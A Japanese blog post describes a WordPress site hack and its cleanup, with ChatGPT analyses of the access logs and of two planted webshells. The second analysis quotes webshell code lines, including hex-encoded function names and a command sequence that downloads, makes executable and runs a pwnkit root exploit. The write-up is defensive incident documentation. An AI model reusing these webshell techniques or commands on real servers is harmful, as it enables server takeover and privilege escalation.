先日、サイトが攻撃され、表示されなくなりました。
その時の体験談をメモ代わりに残しておきます。
.htaccess の内容が書き換えられ、パーミッションが555に
特徴
- サイト内の.htaccess の内容が書き換えられ、パーミッションが555に変更されている。
- WordPressのセキュリティが弱い。ユーザー名とパスワードが推測されやすいサイトが攻撃されます。
書き換えられた .htaccess の内容
<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
ちなみにこの内容は
この .htaccess の設定は、悪意のあるスクリプトの実行を防ぐ ためのものです。
主なポイント
- 対象ファイル
- .py, .exe, .phtml, .php(大文字・小文字含む)、php5/7/8、.suspected など
- 攻撃者がサーバーに不正なスクリプトをアップロードして実行するのを防ぐ目的
- 処理内容
- すべてのアクセスを拒否
- Order allow,deny → Deny from all により、対象ファイルの実行・閲覧をブロック
- 注意点
- 設定ファイル自体が攻撃で書き換えられた可能性 もある
- 不要な記述(例: PhP5php7)があり、誤動作の恐れ
- Apache 2.4以降では別の書き方が推奨される
サーバーを保護するための重要な設定ですが、不審な変更がないか定期的に確認が必要です。
これで、WordPressで作られているサイトは表示されなくなります。
.htaccess を修正しようとしても、すぐに書き換えられてしまいます。
とにかく早く復旧したい時は、お気軽にご相談ください。
アクセスログを解析してみた
サーバーに残っていたアクセスログをChatGPTに見せてみました。
その結果が
アクセスログ解析概要
ログの内容を確認しましたが、一部のアクセスに関して注意が必要です。
疑わしいアクセス
- file.php に対する複数回の GET および POST リクエスト
- wp-confiq.php へのアクセス(wp-config.php のスペルミスと思われる)
- .env ファイルへのアクセス試行
- wp-admin/css/ へのアクセスで 403(アクセス拒否)となっている
- abcd.php へのアクセスと POST リクエスト
- testsitemap.xml へのアクセス
- wp-cron.php の実行に対する 403 応答
セキュリティ上の問題
- file.php に対する複数回のリクエストが、特に upload クエリパラメータ付きで送られているため、不正アップロードを試みている可能性があります。
- .env へのアクセス試行は、環境変数ファイルの情報を取得しようとしているため、セキュリティ侵害の可能性があります。
- wp-config.php に似た名前 (wp-confiq.php) へのアクセスは、攻撃者が設定ファイルを狙っている可能性があります。
- abcd.php の存在と POST リクエストの試行は、マルウェアが仕掛けられている可能性を示唆します。
対応策
- file.php のアクセス制限
- file.php が本当に必要なファイルか確認し、不必要なら削除する。
- file.php のアクセス制限を .htaccess または Nginx の設定で実施する。
- file.php の upload クエリパラメータを無効にする。
- .env などの機密ファイルのブロック
- .htaccess で .env へのアクセスを禁止する。
<FilesMatch “^\.”>
Order allow,deny
Deny from all
</FilesMatch>
- WordPress のセキュリティ強化
- wp-config.php のリネームを検討(例: wp-config-secure.php)
- wp-admin へのアクセスを特定 IP からのみ許可
- wp-cron.php を外部から実行されないよう制限
- 不審なファイル (abcd.php, wp-confiq.php) の確認
- wp-confiq.php が存在していないか確認し、見つかったら削除。
- abcd.php の内容を確認し、不審なコードが含まれていれば削除。
- ログイン試行を監視
- WP Fail2Ban などのプラグインで不正なログイン試行を記録し、必要なら IP をブロック。
- リモート IP のブロック
- xxx.xxx.xxx.xxx などの不審なアクセス元 IP を .htaccess でブロックする。
<RequireAll>
Require all granted
Require not ip xxx.xxx.xxx.xxx
</RequireAll>
- ファイルの改ざんチェック
- wp-content や wp-includes に不審なファイルがないかチェック。
- WordPress セキュリティプラグインの導入
- Wordfence や iThemes Security などを導入して、攻撃を検出・ブロック。
緊急対応
- file.php の即時確認・削除
- wp-confiq.php のチェック
- .htaccess でセキュリティ設定を強化
- サーバーログを監視して追加の不審な動作を特定
攻撃の可能性が高いため、早急に対策を講じることをおすすめします。
sceqA.php という謎のファイル
WordPressでは見覚えのないファイルがあったので、これもChatGPTに見てもらいました。
その結果が
ざっくり言うと、サーバー乗っ取りに使われるプログラム。
これは WebShell(ウェブシェル) です。
WebShellとは?
WebShellは、ウェブサーバー上でリモートからコマンドを実行したり、ファイル操作を行ったりできる不正なPHPスクリプトの一種です。これはハッカーがサーバーに不正アクセスし、システムを制御するために使うことが多いものです。
コードの特徴と機能
このコードを分析すると、以下のような機能を持っています。
1. ファイル・ディレクトリ操作
- is_readable($now_path) / is_writable($now_path) を使って、指定ディレクトリの読み書き可能かを判定。
- file_get_contents($file_path) / file_put_contents($path, $file_content) を使って、ファイルの閲覧・編集が可能。
- rename($file_path, $now_path . ‘/’ . $file_new_name) により、ファイル名の変更が可能。
- chmod($file_path, octdec($new_chmod)) により、ファイルのパーミッションを変更可能。
2. ファイルアップロード
- move_uploaded_file($_FILES[“fileToUpload”][“tmp_name”], $targetFile) により、ファイルをアップロード可能。
- これにより、攻撃者がサーバー上に新たなPHPスクリプトをアップロードし、さらにシステムを乗っ取ることが可能。
3. ファイル・フォルダ削除
- unlink($v) でファイル削除が可能。
- rmdir($now_path . ‘/’ . $new_name) でディレクトリ削除が可能。
4. ディレクトリ一覧の取得
- scandir($now_path) を使って、ディレクトリ内のファイル・フォルダ一覧を取得。
- sortByFolder($now_path, $file_list) を使って、フォルダとファイルを分類して表示。
5. セッション管理
- session_start(); を使い、セッションを開始。
- $_SESSION[‘cc’] の値をチェックし、適切な値が設定されていなければスクリプトの実行を停止。
6. システム情報の取得
- PHP_OS でOSの情報を表示。
- $_SERVER[‘SERVER_SOFTWARE’] でサーバーソフトウェア情報を取得。
- get_current_user() で現在の実行ユーザーを取得。
7. HTML GUI
- Bootstrapを使用して、使いやすいWebインターフェースを提供。
- ボタンをクリックするだけでファイルを編集・削除・アップロードできる。
危険性
このスクリプトは 極めて危険 です。もしあなたのサーバー上にこのようなスクリプトがある場合は 直ちに削除するべき です。
具体的なリスク
- サーバー乗っ取り
- このスクリプトを利用すれば、攻撃者はサーバー上のすべてのファイルを閲覧・編集・削除できます。
- ルートディレクトリに書き込み権限があれば、サーバー全体が乗っ取られる可能性がある。
- データ漏洩
- WebShell経由で、データベースのパスワードや機密ファイルを盗まれる恐れがある。
- マルウェア感染
- 攻撃者がこのスクリプトを使って、サーバー上にバックドアを設置する可能性がある。
対策
もしこのスクリプトが意図的に設置されたものではなく、不正に設置されていた場合、以下の対策を取ってください。
1. 即座に削除
- rm -rf /path/to/webshell.php
- ファイルを開かずに削除すること。
2. サーバーのログを確認
- /var/log/apache2/access.log や /var/log/nginx/access.log を確認し、攻撃者のアクセス記録がないか調査。
3. 権限の見直し
- chmod -R 755 /var/www/html/
- find /var/www/html/ -type f -name “*.php” -exec chmod 644 {} \;
- find /var/www/html/ -type d -exec chmod 755 {} \;
4. パスワード変更
- すべてのサーバーのパスワードを変更(特にFTP、SSH、データベース)。
5. セキュリティソフトを導入
- ClamAV や Maldet を導入し、スキャンを実行。
6. WAF(Web Application Firewall)を導入
- ModSecurity を有効にすることで、このようなスクリプトの設置を防げる。
結論
このコードは 典型的なWebShell であり、悪意のある攻撃に使用されるものです。もし自分で設置したものでないなら、即刻削除し、サーバーのセキュリティを強化する必要があります。
このようなスクリプトをサーバー上で発見した場合、すぐに対応しないとサーバー全体が乗っ取られるリスクがあります。
必ず復旧するとは限りません。
とはいえ、復旧実績がないところには頼みたくないですよね?
UTDOpggtoP.php という謎のファイル
WordPressでは見覚えのないファイルがあったので、これもChatGPTに見てもらいました。
その結果が
このPHPコードは、悪意のある Web Shell(ウェブシェル) である可能性が非常に高いです。
危険なポイント
- 隠された関数名のデコード
- $Array に 16進数でエンコードされた関数名が含まれています。
- unhex() を使って、それらをデコードして関数として使用しています。
例:
‘676574637764’ // g e t c w d => 9
‘6368646972’ // c h d i r => 10
‘7068705f756e616d65’ // p h p _ u n a m e => 11
- これにより getcwd(), chdir(), php_uname() などの関数を実行できます。
- ファイルシステム操作
- glob(), is_file(), is_dir(), is_writable(), file_get_contents(), file_put_contents() などが隠されて使用されており、サーバーのファイルを自由に操作できる 仕組みになっています。
- シェルコマンドの実行
- shell_exec(), system(), exec(), passthru() などの関数を隠して呼び出し、任意のコマンドを実行できます。
例えば:
$fungsi[0]($de); // shell_exec($de);
- ファイルのダウンロード&アップロード
- $_GET[‘download’] により、サーバー上のファイルをダウンロード可能。
- $_FILES[‘gecko-file’] により、任意のファイルをアップロード可能。
- バックドアの設置
- .htaccess を書き換えて PHPスクリプトの実行を制限 するコードがあるが、逆に 許可するスクリプトをコントロール する意図がある可能性がある。
- ルート権限昇格の試み
root-terminal の機能があり、pwnkit という Linux の脆弱性を利用したルート権限昇格攻撃を試みている:
$fungsi[14](“wget ” . $fungsi[34] . ” –no-check-certificate”);
$fungsi[14](“chmod +x pwnkit”);
$fungsi[14](‘./pwnkit “id” >> mad-pwnkit’);
- pwnkit は Linux の PolicyKit の脆弱性 を悪用してルート権限を取得するエクスプロイトの一つです。
結論
このコードは 典型的なWebシェルであり、サーバーを完全に制御される危険なコード です。
対策
- このコードをすぐに削除 してください。
- サーバーのログを確認 し、不正アクセスがないか調査。
- 管理者パスワードを変更 し、可能ならばサーバーをクリーンインストール。
- 不要なPHP関数を無効化 (disable_functions 設定で shell_exec, system, exec, passthru, proc_open, popen などを無効化)。
- WAF (Web Application Firewall) の導入 を検討。
このコードは 極めて危険 なので、決して実行しないようにしてください。
wp というディレクトリが、いたるところに作られている
wpというディレクトリがいたるところに作られています。
これは、本体がwpというディレクトリの中に隠れているのをごまかすためのようです。
本体が隠れている wp の中に入ろうとすると、ルートディレクトリにとばされてしまいます。
それを防ぐには、FTPツールで、wp内のディレクトリとファイルのパーミッションを変更し削除してやることです。
この、本体が隠れている wp というディレクトリが 2つありました。
今回は、たまたま2つでしたが、それ以上ある可能性も考えられます。
とにかくひたすら、wpというディレクトリを削除していくしかありません。
今回は、WordPressを削除した後に、WordPressに必要ないwp というディレクトリがたくさん残っており、削除できず、ディレクトリに入ろうとすると、ルートディレクトリにとばされるということがあり、気が付きました。
WordPressを削除すると、.htaccess のファイルが書き換えられると症状が消えるため、改善したと思いそうですが、WordPressの削除(アンインストール)で改善したように見せかけてるだけっぽい気がします。※試してないけど、過去にWordPress入れ直しても、改善しなかった。という話をきいたことがあるので。
詳細は聞いていなくて、自分が直接みたわけではないので、今回と同じものかも不明ですが。
WordPressの削除(アンインストール)だけでは、wpの中に隠れている本体は残っているので、これを削除せず、WordPressをインストールしても症状は改善しないでしょう。
試してないけど、本体は残っているので、そう推測される。
今回は、初めての対応で、対応していく過程で、色々わかったことですが、もしかすると、WordPressを削除(アンインストール)しなくても、本体を探して削除すれば、復旧する可能性もあったと推測されます。が、この検証はまたの機会に。
対策としてやっておくべきこと
- ユーザー名とパスワードは推測されにくいものにする
- BASIC認証(アクセス制限)も使用する
- バックアップの取得(これさえあれば、復旧できる)
バックアップのおすすめ記事はこちら

今回は、珍しく、ChatGPTではなく、自分で体験談を書いてみました。
今回の症状以外にも対応いたしますので、何かお困りの際はお気軽にご相談ください。